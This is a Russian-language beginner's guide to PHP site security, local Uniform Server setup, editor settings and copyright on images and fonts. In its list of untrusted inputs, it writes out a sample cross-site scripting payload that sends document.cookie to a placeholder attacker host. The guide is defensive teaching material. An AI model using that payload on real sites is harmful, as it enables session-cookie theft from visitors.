Соблюдайте правила безопасности при программировании
Если Вы поверхостно знаете PHP, то использование PHP на сайте у Вас должно ограничиваться созданием пунктов меню и выводом в текстах лингвистических переменных, определённых в файле data.php. Программируя что-то всегда параллельно с реализацией основной задачи нужно думать о безопасности кода!
В серьёзных программах половина кода фактически занимается только проверкой безопасности.
Интернет – очень агрессивная среда!
Сайты и сервера каждую секунду простукиваются разными ботами на предмет всех возможных уязвимостей.
В Web-программировании есть основное правило: нельзя доверять данным пришедшим от пользователя ! Новичкам трудно сразу осознать, как много существует видов данных, приходящих от пользователя. Я не являюсь гуру PHP и сетевых технологий, но хочу для понимания просто привести несколько примеров, в каком виде могут приходить данные от пользователей сайта:
Естественно, это данные из веб-форм на сайте, которые Вы предлагаете заполнять пользователю.
Это все сегменты URL-адреса, по которому было сделано обращение к вашему серверу, GET-параметры. (Очень распространённая ошибка новичков, когда они используют в PHP-функции "include" GET-переменную).
POST-параметры, заголовки запроса. Например, злоумышленник может в заголовок "User-Agent" прописать JavaScript-инъекцию: <img src="" onError="this.src='https://сайт-хакера/images/blank.png?'+document.cookie">, PHP- или SQL-инъекцию.
Все вышеперечисленные виды данных обрабатываются в несколько стадий оборудованием хостинга и вашими скриптами в конце.
Помимо того, что Вы по неопытности можете закладывать уязвимости в программный код, в самом программном обеспечении хостинга могут быть особенности (несовершенства, баги), которые хакеры постоянно отслеживают. Эти баги позволяют иногда создать цепочку действий, которые приведут к нестандартной обработке входных данных, в том числе выполнению кода, который сформировал злоумышленник!
Дабы не быть голословным, скажу, что сам был свидетелем взлома сайтов, основанном на неправильной обработке MySQL-базой данных Эмодзи-символов!
Так что помните, работающий сайт, настроенный хостинг – это не место для экспериментов!
Иначе вы можете сразу и не сломать сайт, но заложите уязвимости.
А хакеры люди не глупые, они стараются маскировать взлом, они не будут на сайте вешать табличку, что он взломан – нет. Их цель – завладеть мощностями сервера для рассылки спама, майнинга, запуска ботов, переадресации посетителей сайта и т. п. Для Вас это обернётся тем, что сайт будет занесён во всякие чёрные списки, понижен в результатах поисковой выдачи, хостинг-провайдер может начать предъявлять претензии из-за возросшей нагрузки, рассылки спама и т. п.
Если всё-таки решили что-то дополнить на сайте на PHP, старайтесь соблюдать правила оформления кода
Стандарты форматирования PHP-кода
Если Вы хотите написать на PHP что-то существенное, то экспериментируйте на локальном сервере или берите отдельный хостинг-аккаунт. В принципе услуги хостинга сейчас стоят не дорого, да ещё многие хостинг провайдеры предоставляют бесплатный тестовый период (например, Sweb.ru ), выдавая домен 3-го уровня в пользование.
Не экспериментируйте на рабочем хостинге! Даже если на хостинг-аккаунте, где размещён ваш рабочий сайт оказался тарифный план, позволяющий размещать несколько сайтов. Не делайте такого! Если взломают ваш тестовый сайт, то доберутся и до рабочего сайта на этом аккаунте!
Подсветка синтаксиса, подсветка парных тегов, парных скобок. Удобный поиск и замена строки в том числе с использованием регулярных выражений, поиск и замена строки во всех файлах в указанном и вложенных каталогах. Возможность создавать макросы. Масса полезных плагинов (расширений).
Кодировка файлов всегда должна быть UTF-8 без BOM !!!
Формат символа новой строки должен быть в Unix-стиле – « LF ».
Насколько я знаю, в настройках редактора по-умолчанию обычно так, но после установки, всё-равно нужно проверить!
Меню «Настройки» редактора Notepad++
Установка кодировки и контрольного символа новой строки для создаваемых документов в редакторе.
Краткая инструкция по установке Uniform Server
Официальный сайт Uniform Server. В настоящее время они дают ссылку на загрузку со страницы проекта на сайте Sourceforge.net, там нужно выбирать вариант загрузки (большая зелёная кнопка вверху).
Если Вы решили установить себе комплекс Uniform Server или иной, то внимательно относитесь к вопросам безопасности.
Если у Вас есть отдельный компьютер, где нет ценных данных, лучше ставьте на него. Uniform Server не требователен к ресурсам.
Я не являюсь специалистом в настройке серверов и тем-более, сетевой безопасности. Не знаю, как устроена ваша локальная сеть, не снимали ли вы защиту (Брандмауэр, сетевой экран роутера, просили у провайдера выделенный внешний IP), например, чтобы запустить какую-то сетевую игру, торрент и т. п. (и уже успешно забыли об этом). Имейте в виду, сервера созданы чтобы обрабатывать внешние запросы из сети, а Вы ставите его только для локальной разработки!
НИКОГДА, не пытайтесь сделать локальный сайт доступным из интернета! Со своей стороны, я постарался закрыть доступ к локальному сайту, поместив в корне сайта в файле «.htaccess» директиву «Require local».
Стоит до и после установки сделать проверку открытых портов на компьютере.
Воспользуйтесь сервисами проверки открытых портов: Portchecker.co, Yougetsignal.com. Проверьте, как минимум, порты: 80, 443, 20, 21, 22, 23, 3306, 5432. Если какой-то порт открыт, значит, сначала с этим разберитесь!
Установка Uniform Server
Создаём в корне любого диска (если есть иные диски кроме C, используйте их) папку «uniserver», в ней запускаем самораспаковывающийся скачанный архив.
Переходим в разархивированную папку, запускаем UniController.exe.
Если на (1) или (7) шаге запуска сервера появится сообщение, что на компьютере отсутствует какой-то файл (точнее библиотека), погуглите эту ошибку, скорее всего, у вас не установлены компоненты «Microsoft Visual C++ Redistributable» – это набор библиотек, весит немного, в программах, имеющих установщик, этот пакет обычно сам устанавливается в систему (именно поэтому, он может у вас уже быть).
Uniform Server, как говорил выше, установщика не имеет, это просто самораспаковывающийся архив. В этом случае Вам нужно будет скачать с сайта Microsoft.com последнюю версию «Microsoft Visual C++ Redistributable» и установить её.
Для справки: X86 – это 32-битная архитектура, X64 – это 64-битная архитектура компьютера.
При появлении окна брандмауэра Windows жмем всегда «Отмена». Нам не нужно чтобы кто-то извне ходил к нам на компьютер!
Окно брандмауэра Windows жмем всегда «Отмена».
Если появится окно с предложением поменять пароль к серверу MySQL – задайте свой, только не забудьте его. Вообще, мы им пользоваться не планируем. Может, потом сами как-то захотите что-то попробовать.
В директории с распакованным Uniform Server создаём папку public_html с содержимым нашего сайта, либо заливаем содержимое нашего сайта в предустановленную папку www.
Структура распакованного Uniform Server
Задаём созданную директорию в качестве корня сайта. Или ничего не делаем на этом шаге, если на предыдущем залили сайт в существующую www.
Настройка корневой папки в Uniform Server
Снимаем галочки чтобы отменить автооткрытие страниц при каждом запуске сервера.
Отменить автооткрытие страниц при запуске Uniform Server
Запускаем веб-сервер Apache. Запускать MySQL не нужно! :
Кнопка «Start Apache»
После выполнения этих процедур, наш локальный сайт должен открываться по адресу http://localhost/ .
Помните про авторские права на изображения, шрифты, тексты!
При создании материалов для сайта старайтесь использовать только собственноручно написанный текст и созданные изображения!
Не берите изображения с других сайтов, если абсолютно не уверены, что, например фотобанк, который их предлагает, делает это легально!
Не надейтесь, что повернув на какой-то угол или полностью отзеркалив или обрезав, поменяв цвета, сделав рамку, даже коллаж, вы выдадите заимствованное изображение за уникальное. Эти и другие трюки априори известны как поисковым машинам, так и авторам контента, которые порой специально с юристами мониторят интернет. Не нарывайтесь!
То же самое относится к текстам.
Шрифты тоже являются объектами авторского права!
Существуют и свободные шрифты. Я не являюсь экспертом в этой теме, к тому же ситуация может со временем меняться. На данный момент в качестве примера свободных к использованию шрифтов, наверное, можно показать «Google Fonts», «Liberation».
Если шрифт не свободный, Вы не можете не купив (внимательно изучив лицензию) даже просто на фотографию сделать им надпись! Почитайте примеры в Яндексе, как люди напарывались на проблемы из-за шрифтов.
Насколько я в курсе, даже Windows-шрифты нельзя, не купив лицензию, использовать в полиграфии.
Что касается сайтов, в CSS вы можете указывать любой шрифт, но чтобы пользователь его увидел на сайте, этот шрифт должен быть установлен на компьютере пользователя. А вот распространять этот шрифт, то есть загрузить его на свой сервер (сайт) и прописать в CSS директиву «@font-face», которая загрузит этот шрифт на компьютер пользователя – здесь уже требуется лицензия на шрифт.
В общем, не создавайте себе проблем в неспокойное и так время! Юристов много, они кушать хотят, ещё много вариантов могут придумать к чему придраться!
